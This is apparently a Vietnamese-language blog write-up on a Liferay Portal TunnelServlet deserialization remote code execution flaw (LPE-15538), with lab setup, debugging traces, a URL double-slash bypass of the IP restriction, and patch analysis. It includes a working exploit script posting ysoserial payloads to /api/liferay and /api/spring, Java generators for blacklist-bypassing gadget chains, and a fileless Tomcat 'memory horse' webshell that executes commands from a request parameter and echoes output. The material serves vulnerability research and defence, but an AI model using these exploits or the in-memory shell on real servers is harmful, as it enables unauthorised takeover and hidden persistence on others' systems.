Liferay TunnelServlet Deserialization Remote Code Execution (LPE-15538)

Liferay TunnelServlet Deserialization Remote Code Execution (LPE-15538)

Liferay Portal là giải pháp cổng điện tử được thiết kế phù hợp với các mô hình ứng dụng trong các cơ quan, tổ chức và doanh nghiệp có nhu cầu phát triển hệ thống thông tin trên môi trường web nhằm thực hiện các giao dịch trực tuyến và sử dụng Intranet/Internet như một công cụ thiết yếu trong các hoạt động, cung cấp thông tin, giao tiếp, quản lý và điều hành, trao đổi và cộng tác.

Tổng quan

Liferay TunnelServlet bị lỗ hổng insecure deserialization nếu không cấu hình đúng việc truy cập đối với một vài endpoint, kẻ tấn công có thể lợi dụng điều này để thực thi mã từ xa và chiếm toàn quyền điều khiển hệ thống.


Dựng môi trường

  • Cài đặt Liferay phiên bản lỗi

Dựa theo thông tin trong các link sau: https://www.acunetix.com/vulnerabilities/web/liferay-tunnelservlet-deserialization-remote-code-execution, https://www.tenable.com/security/research/tra-2017-01

Mình chọn version để phân tích là 6.1.0 CE (mặc dù ở trên chỉ đề cập đến bản EE nhưng sau khi đi hỏi thăm và setup làm thì mình thấy ở CE vẫn dính lỗi).

Tải source tại: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.1.0%20GA1/liferay-portal-tomcat-6.1.0-ce-ga1-20120106155615760.zip/download

Sau khi giải nén, chạy file startup.bat tại liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\bin tiếp tục nhập các thông tin cho việc cấu hình

Kết quả:

  • Setup debug

Mở file setenv.bat tại liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\bin và thêm dòng sau vào cuối file để remote debug

set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

Về IDE sử dụng cho việc debug thì mình sử dụng Intellij của nhà JetBrains, truy cập vào folder liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\webapps\ROOT, click chuột phải chọn "Open Folder as Intellj IDEA Project"

Add New Configuration -> Remote JVM Debug

Và thiết lập các thông số như hình bên dưới

Tiếp theo sẽ tiến hành gom các thư viện của ứng dụng vào một folder "liferay_libs" bằng cách cd đến folder gốc sau đó chạy command

find . -iname '*.jar' -exec cp {} liferay_libs \;

Sau đó add folder này vào IDEA project để debug, chọn File -> Project Structure -> Libraries -> + -> Java và chọn folder liferay_libs

Kết quả


Phân tích

Từ mô tả của lỗi, ta biết được nguyên nhân gây ra lỗ hổng nằm ở thành phần TunnelServlet của liferay

Ctrl + N và nhập TunnelServlet, ta thấy class này nằm trong file portal-impl.jar

Tải một version khác không bị dính lỗi, mình chọn 7.0.3 GA4

Thực hiện diff hai version này

Sau đó tìm đến class TunnelServlet, ta thấy ở phía bên phải (ứng với version dính lỗi), trong hàm doPost dùng để handle POST request, tại line 44 thực hiện khởi tạo một ObjectInputStream instance từ request và ois.readObject() ở line 56 sẽ thực hiện deserialize -> sink.

Có thể tìm endpoint ứng với servlet này trong web.xml tại

liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\webapps\ROOT\WEB-INF

Ở class com.liferay.portal.servlet.TunnelServlet, thực hiện set breakpoint tại line 44 và 56

Sau đó gửi request

Hit breakpoint

F8 để tiếp tục debug, lúc này ta thấy có lỗi xảy ra

Lỗi này là tại vì các byte trong input stream nhận từ POST request (blabla) không hợp lệ cho việc khởi tạo ois 😅.

Vậy cơ bản là ta đã biết được endpoint dẫn đến lỗi, việc tiếp theo sẽ là cần tìm gadget

Trong cửa sổ bên phía tay trái của Intellj IDEA, ở phía dưới có mục External Libraries, mục này chứa các thư viện của project

Và khi tra các thư viện trong liferay_libs , ta thấy classpath có chứa common-collections

Vì mình dùng jdk 1.8.0_181 để setup liferay nên sẽ sử dụng chain CommonCollections3, tiến hành chạy script và ... calculator pop up thành công

Nhưng ngoài endpoint /api/liferay đã đề cập ở trên, vẫn còn một endpoint khác mà ta có thể lợi dụng để khai thác và dựa theo bài viết này đó là /api/spring

Vẫn tiến hành tìm Servlet class ứng với endpoint này trong web.xml => com.liferay.portal.spring.servlet.RemotingServlet

Cùng nhìn qua class này, ta thấy nó implement org.springframework.web.servlet.DispatcherServlet

Trong các ứng dụng web dựa trên spring, DispatcherServlet đóng vai trò như một "Front Controller". Vậy "Front Controller" là gì ? Có thể hiểu nôm na là tất cả request đến website sẽ được "Front Controller" đón nhận và nhiệm vụ của nó là ủy thác cho controller tương ứng với request đấy để xử lí.

Dispatcher Servlet

Để request được đưa đến controller tương ứng một cách chính xác sẽ cần đến sự hỗ trợ của handler mapping. Một kiểu handler mapping trong spring đó là BeanNameUrlHandlerMapping. BeanNameUrlHandlerMapping sẽ map request với bean có cùng tên.

Chẳng hạn một bean controller được cấu hình để xử lí request đến /beanNameUrl như sau:

@Configuration
public class BeanNameUrlHandlerMappingConfig {
    @Bean
    BeanNameUrlHandlerMapping beanNameUrlHandlerMapping() {
        return new BeanNameUrlHandlerMapping();
    }

    @Bean("/beanNameUrl")
    public WelcomeController welcome() {
        return new WelcomeController();
    }
}

Sẽ có dạng biểu diễn xml tương ứng là

<bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" />
<bean name="/beanNameUrl" class="com.baeldung.WelcomeController" />

Quay trở lại bài phân tích, trong com.liferay.portal.spring.servlet.RemotingServlet có một hàm getContextConfigLocation()

Và khi check qua remoting-servlet.xml, mình thấy nó chính xác là dạng biểu diễn xml tương tự như ví dụ đã nêu ở trên nhưng sử dụng HttpRequestHandler thay vì sử dụng BeanNameUrlHandlerMapping

Chỉ có 4 class là implement từ org.springframework.web.HttpRequestHandler

Và đáng chú ý nhất sẽ là org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter, hàm handleRequest() của class này gọi đến readRemoteInvocation()

Tiếp tục trace, nó gọi tới một hàm cùng tên và sau đó gọi doReadRemoteInvocation()

org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter kế thừa org.springframework.remoting.rmi.RemoteInvocationSerializingExporter nên thực chất là đang gọi method kia ở parent class

-> Tới đây chính là sink cần tìm

Search trong remoting-servlet.xml thì ta thấy số lượng endpoint sử dụng handler này khá nhiều

Chọn ra một endpoint để khai thác

Kết quả


Bypass endpoint access restriction

Setup

Trong quá trình mình phân tích ở trên đều không xét tới việc các endpoint này chỉ được cho phép truy cập từ localhost.

Dựa theo mô tả, ta sẽ setup lại một tí cho giống với thực tế

Tại folder liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\webapps\sevencogs-theme\WEB-INF\classes tạo file portal-ext.properties với nội dung là

tunnel.servlet.hosts.allowed=127.0.0.1

Sau đó shutdown liferay và startup lại, kiểm tra bằng 2 request như bên dưới

-> Vậy là đã cấu hình thành công

Bypass

Trong web container của servlet có một thuật ngữ về FilterChain, dùng để chỉ một chain các filters ứng với một resource. Nhiệm vụ của filter là thực hiện pre-processing và post-processing request.

Method doFilter() của các filter class sẽ được gọi bởi web container để thực hiện quá trình process.

Quay trở lại lúc debug TunnelServlet class trước đó, ta thấy trong call stack sẽ có gọi đến các filter class

Tiến hành set breakpoint tại org.apache.catalina.core.ApplicationFilterChain#internalDoFilter()

filterConfig được lấy từ mảng filters, và sau đó:

filter = filterConfig.getFilter() -> dựa vào filterConfig để lấy ra filter

FilterConfig sẽ được dùng để lưu trữ thông tin về context của filter. Và thuộc tính filters bản chất là một mảng các ApplicationFilterConfig object

Cùng trace ngược lại để tìm nơi mà thuộc tính này được gán giá trị

Tại org.apache.catalina.core.StandardWrapperValve#invoke() thực hiện set các attribute cho request và filterChain - một instance của class ApplicationFilterChain được khởi tạo bởi method ApplicationFilterFactory.createFilterChain().

sau đó filterChain.doFilter() sẽ gọi đến ApplicationFilterChain.doFilter() -> ApplicationFilterChain.internalDoFilter() là chỗ mà ta đang dừng lại ở trên

Vậy hãy cùng nhìn qua method org.apache.catalina.core.StandardWrapperValve#invoke()

Set servlet ứng với filterChain này là TunnelServlet, sau đó wrapper.getParent() để get StandardContext object và lấy ra FilterMaps object từ StandardContext object này, FilterMaps object dùng cho việc lưu trữ các thông tin về tên cũng như urlPattern của Filter.

Tiếp đó, duyệt qua filterMaps, dựa vào name của Filter để lấy ra FilterConfig trong StandardContext. Cuối cùng, add filterConfig này vào filterChain filterChain.addFilter(filterConfig)

org.apache.catalina.core.ApplicationFilterChain#addFilter() chính là nơi ta đang cần tìm, tại đây object filterConfig sẽ được thêm vào mảng filters.

Quay trở lại với org.apache.catalina.core.ApplicationFilterChain#internalDoFilter(), tại line 89, filter object được lấy ra là InvokerFilter.

Thực ra filter class này đã được nói rõ trong file web.xml, request ứng với url patern là /* và dispatcher là REQUEST đều sẽ được process bởi nó.

F8 để tiếp tục debug, lúc này gọi đến com.liferay.portal.kernel.servlet.filters.invoker#InvokerFilter()

Tại method này, call đến com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilter#getInvokerFilter() với các tham số truyền vào là request hiện tại, uri (/api/liferay) và filterchain

F7 để Step Into getInvokerFilterChain(), ta thấy uri được sử dụng để tính keykey này lại được dùng để lấy ra invokerFilterChain object.

Bản chất của thuộc tính _filterChains trong InvokerFilter là một instance của class com.liferay.portal.kernel.concurrent.ConcurrentLRUCache và method get() của nó thực ra là đang lấy một phần tử từ Hashmap _cache

uri có giá trị /api/liferay đã được "reach" nhiều lần, nên invokerFilterChain của nó đã nằm sẵn trong HashMap trên. Nếu invokerFilterChain này bằng null hay nói cách khác là chưa tồn tại trong _cache thì sẽ chạy đoạn code dòng 127 để khởi tạo object và đưa vào _cache.

Set breakpoint tại dòng 127 và gửi lại với request như sau

Sau khi hit breakpoint, F7 để đi vào trong method com.liferay.portal.kernel.servlet.filters.invoker.InvokerFilterHelper#createInvokerFilterChain(), duyệt qua các phần tử trong _filterMappings (lưu urlParttens và filter tương ứng) tiếp đó gọi đến FilterMapping.isMatch() với uri (/api/////liferay) làm tham số

Method này thực hiện lấy ra các urlPattern của FilterMaping object hiện tại và so khớp với uri

như trong trên là đang match với nhau vì thế sẽ được add vào invokerFilterChain.

Bởi vì ta đã setup endpoint restriction access cho TunnelServlet nên mình đoán sẽ có một FilterMaping chứa urlPattern là /api/liferay, set một conditional breakpoint tại line 166 với nội dung là filterMapping._urlPatterns.get(0).contains("/api/liferay")

F9 và breakpoint được hit, urlPattern sẽ là /api/liferay/* và filter tương ứng là SecureFilter

và bởi vì giá trị trả về của isMatchURLPattern là false nên filter này sẽ không được add vào invokerFilterChain

SecureFilter lấy ip addr từ request object và check nếu được allow access

Call stack ứng với uri là /api/////////liferay

Call stack ứng với uri là /api/liferay

Và cũng tương tự đối với endpoint /api/spring

Tóm lại: có thể bypass được endpoint restriction nếu uri /api/<n*'/'>/liferay hoặc /api/<n*'/'>/spring


Mã khai thác

import requests
import os

URL = "http://127.0.0.1:8080"


os.system("java -jar D:\Tools\ysoserial\ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections3 calc.exe > payload.bin")

r = requests.post(URL + "/api/liferay", data = open("payload.bin", "rb"))

r = requests.post( URL + "/api/spring/com_liferay_portlet_polls_service_spring_PollsVoteService-http", data = open("payload.bin", "rb"))

Patch

Diff version hiện tại với bản 7.0.3 GA4, dễ thấy ở InvokerFilter.class method getURI đã có thêm đoạn code gọi đến HttpUtil.normalizePath()

Vì thế không thể bypass bằng cách sử dụng /api/////liferay được nữa

Bên cạnh đó ở com.liferay.portal.servlet.TunnelServlet#doPost() cũng đã có sự thay đổi

  • Phải "signed in" mới có thể reach được endpoint này hay nói cách khác là cần authenticated request.

  • Sử dụng ProtectedClassLoaderObjectInputStream để khởi tạo thay cho ObjectInputStream.


Bonus

Ở mục này mình sẽ viết về phần mở rộng cho bài phân tích hiện tại.

I. Look-ahead ObjectInputStream mitigation bypass

Deserialization process

Trong quá trình này, các serialized bytes sẽ được đọc và lặp lại cho đến khi tên của class (đang được deserialized) được khôi phục và đưa vào ObjectInputStream.resolveClass(), tại đây sẽ gọi đến Class.forName() để load và return về class tương ứng.

Bước này khá quan trọng vì nó được dùng để kiểm tra xem class đang được deserialized có tồn tại trong classpath hay không. Do vậy, đây cũng sẽ là một nơi hợp lí để triển khai các cơ chế bảo mật, bởi vì có thể tận dụng để kiểm tra class name trước khi quá trình deserialization diễn ra. Cách làm này thường được biết đến với tên gọi là "Look-ahead deserialization"

Bypass gadget

Trong blacklist mode, look-ahead ObjectInputStream đơn giản sẽ có nhiệm vụ ngăn chặn việc deserialize các blacklisted classes. Tuy nhiên, điều này chỉ xảy ra nếu các classes đó được resolve bởi look-ahead ObjectInputStream, và dĩ nhiên nếu một ObjectInputStream khác được dùng sẽ khiến cho cơ chế này trở nên vô dụng. Từ đó ý tưởng để tấn công khá đơn giản: tìm các classes thực hiện "nested deserialization"

Chẳng hạn như trong ví dụ dưới đây (Bypass0 không nằm trong blacklist classes):

public class Bypass0 implements Serializable {
byte[] bytes;
…
    private void readObject(ObjectInputStream in)
    throws IOException, ClassNotFoundException {
        ByteArrayInputStream is = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(is);
        ois.readObject();
    }
}

Quay trở lại với bài phân tích, đối với phiên bản bị lỗi CE 7.0 GA3, một instance của class ProtectedClassLoaderObjectInputStream được khởi tạo và đây sẽ là một ví dụ cho cơ chế look-ahead deserialization mình đã đề cập ở trên.

Class này kế thừa từ ProtectedObjectInputStream, method doResolveClass() sử dụng _classLoader để load class tương ứng và sẽ được gọi từ method resolveClass() của ProtectedObjectInputStream

ProtectedObjectInputStream class có thuộc tính _restrictedClassNames chứa các blacklist classes, và được dùng để kiểm tra class name đọc từ serialized data. Nếu không nằm trong blacklist -> gọi đến doResolveClass để load class tương ứng.

Các blasklist classes này được định nghĩa trong portal-impl.jar!system.properties

Áp dụng ý tưởng đã nêu ở trên, ta sẽ tìm các class thực hiện "nested deserialization", mà một trong số đó là java.security.SignedObject

Tới đây sẽ quay về bài toán tìm các gadget trigger getter method, và dựa trên các class nằm trong class path thì có thể sử dụng chain commons-beanutils.

Cụ thể về chain các bạn có thể tham khảo tại đây bên cạnh đó vì nó có liên hệ với chain CC2 nên trước tiên các bạn nên xem qua bài viết này từ một người bạn của mình 😁, mình sẽ không đi vào phân tích lại nữa để tránh bài viết quá dài.

Dễ thấy các class sử dụng đều không nằm trong blasklist, script để gen payload như sau:

import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;


import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.security.*;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {

        // Generate payload bytes
        Object obj = Gadgets.createTemplatesImpl("calc");

        PriorityQueue queue1 = getpayload(obj, "outputProperties");

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

        PriorityQueue queue2 = getpayload(signedObject, "object");

        FileOutputStream fileOutputStream = new FileOutputStream("D:\\Downloads\\LPE-15538\\bypass.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
        oos.writeObject(queue2);
        oos.close();
    }
    public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("2");
        Reflections.setFieldValue(beanComparator, "property", string);
        Reflections.setFieldValue(priorityQueue, "queue", new Object[]{object, null});
        return priorityQueue;
    }
}

Kết quả:

Ngoài ra ta còn có thể lợi dụng finalize() method trong java, method này sẽ được gọi bởi Garbage collector trước khi thực hiện việc xóa/hủy đi một object. Thường sẽ là đóng các database connection, network connection ... đang mở. Sau quá trình deserialization, nếu việc cast sang kiểu tương ứng thất bại và chương trình throw exception, deserialized object vẫn sẽ được garbage collector "collect" và method finalize() vẫn được gọi đến.

Class SerializableRenderedImage trong jai_core.jar có một chain tương ứng là:

finalize() -> dispose() -> closeClient()

vì thuộc tính host, port này có thể control được nên chỉ cần setup socket server trả về payload là xong.

II. Tomcat Memory Horse

Cùng đặt 1 tình huống như sau:

"Vẫn là tomcat server deploy một con liferay bị lỗi ở TunnelServlet như ngữ cảnh hiện tại, nhưng không có outgoing connection, document root không có quyền write"

Mặc dù có thể thực thi command nhưng ta vẫn sẽ cần một cách để lấy output, mình không xét đến kĩ thuật trigger time delay 😅 bởi vì nó vẫn là một cái gì đó rất không hay và không tối ưu cho lắm.

Để giải quyết vấn đề trên, ta sử dụng một kĩ thuật có tên gọi là memory horse, hiện nay đã có rất nhiều cơ chế phát hiện và ngăn ngừa các shell ở dạng files, vì vậy sự ra đời của "invisible shell" hay còn gọi là "in-memory shell" đã khiến nó trở nên phổ biến bởi tính có thể che giấu và nhiều điểm cộng khác.

Các concepts về Tomcat Memory Horse rất rộng và sẽ vượt quá phạm vi của bài phân tích này nên có lẽ mình sẽ tách ra để trình bày ở một bài viết khác. "Có lẽ" thôi 🤭.

Trong mục này chủ yếu sẽ nói về Memory Horse Echo, "echo" là 1 kĩ thuật để lấy output của command sau khi thực thi trong trường hợp server không có outgoing connection. Ý tưởng chung là tìm cách để lấy request & response object sau đó ghi output.

Cụ thể là trace trong call stack các class có lưu response object, đồng thời sẽ ưu tiên hơn nếu chứa các static field bởi vì không cần phải khởi tạo instance khi muốn truy xuất đến nó.

Và class này đã được đề cập đến ở phần phía trên, chính là org.apache.catalina.core.ApplicationFilterChain. lastServicedRequestlastServicedResponse là các instances của ThreadLocal class, đóng vai trò lưu trữ thông tin về request cũng như response tương ứng trong thread hiện tại.

Quá trình lưu request cũng như response object diễn ra tại method internalDoFilter()

Tuy nhiên trong lúc khởi tạo, hai giá trị đã nói ở trên đôi khi sẽ bị set thành null vì vậy cần chỉnh lại giá trị cho chúng thông qua refection

Các bước sẽ như sau:

  • Dùng reflection set giá trị cho ApplicationDispatcher.WRAP_SAME_OBJECT

  • Khởi tạo giá trị cho lastServicedRequestlastServicedResponse

  • Lấy response object từ lastServicedResponse và "echo" content.

Script gen payload

Main.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;


import javax.media.jai.PointOpImage;
import javax.media.jai.remote.SerializableRenderedImage;
import java.awt.image.RenderedImage;
import java.io.*;
import java.security.*;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {

        // Generate payload bytes
        //Object obj = Gadgets.createTemplatesImpl("calc");

        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes =  ClassPool.getDefault().get("Payload").toBytecode();

        Reflections.setFieldValue(templatesimpl,"_name","1");
        Reflections.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

        //Reflections.setFieldValue(templatesimpl, "_tfactory", TransformerFactoryImpl.newInstance()); - not necessary

        PriorityQueue queue1 = getpayload(templatesimpl, "outputProperties");

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

        PriorityQueue queue2 = getpayload(signedObject, "object");

        FileOutputStream fileOutputStream = new FileOutputStream("D:\\Downloads\\LPE-15538\\mem_horse_echo.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
        oos.writeObject(queue2);
        oos.close();




    }
    public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("2");
        Reflections.setFieldValue(beanComparator, "property", string);
        Reflections.setFieldValue(priorityQueue, "queue", new Object[]{object, null});
        return priorityQueue;
    }
}

Payload.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class Payload extends AbstractTranslet {
    static {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            ThreadLocal<ServletResponse> lastServicedResponse =
                    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
            String cmd = lastServicedRequest != null
                    ? lastServicedRequest.get().getParameter("cmd")
                    : null;
            if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
                lastServicedRequestField.set(null, new ThreadLocal<>());
                lastServicedResponseField.set(null, new ThreadLocal<>());
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            } else if (cmd != null) {
                ServletResponse responseFacade = lastServicedResponse.get();
                responseFacade.getWriter();
                java.io.Writer w = responseFacade.getWriter();
//                Field responseField = ResponseFacade.class.getDeclaredField("response");
//                responseField.setAccessible(true);
//                Response response = (Response) responseField.get(responseFacade);
//                Field usingWriter = Response.class.getDeclaredField("usingWriter");
//                usingWriter.setAccessible(true);
//                usingWriter.set((Object) response, Boolean.FALSE);
                InputStream in = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd}).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                w.write(output);
                w.flush();
            }

        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Payload sẽ được gửi 2 lần

  • lần 1 để set giá trị cho ApplicationDispatcher.WRAP_SAME_OBJECT, lastServicedRequestlastServicedResponse

  • lần thứ 2 echo ra output

Kết quả:

Cách làm này có một hạn chế đó là nếu deserialization point diễn ra trước ApplicationFilterChain thì không thể lợi dụng để lấy response object thông qua ThreadLocal.


Tham khảo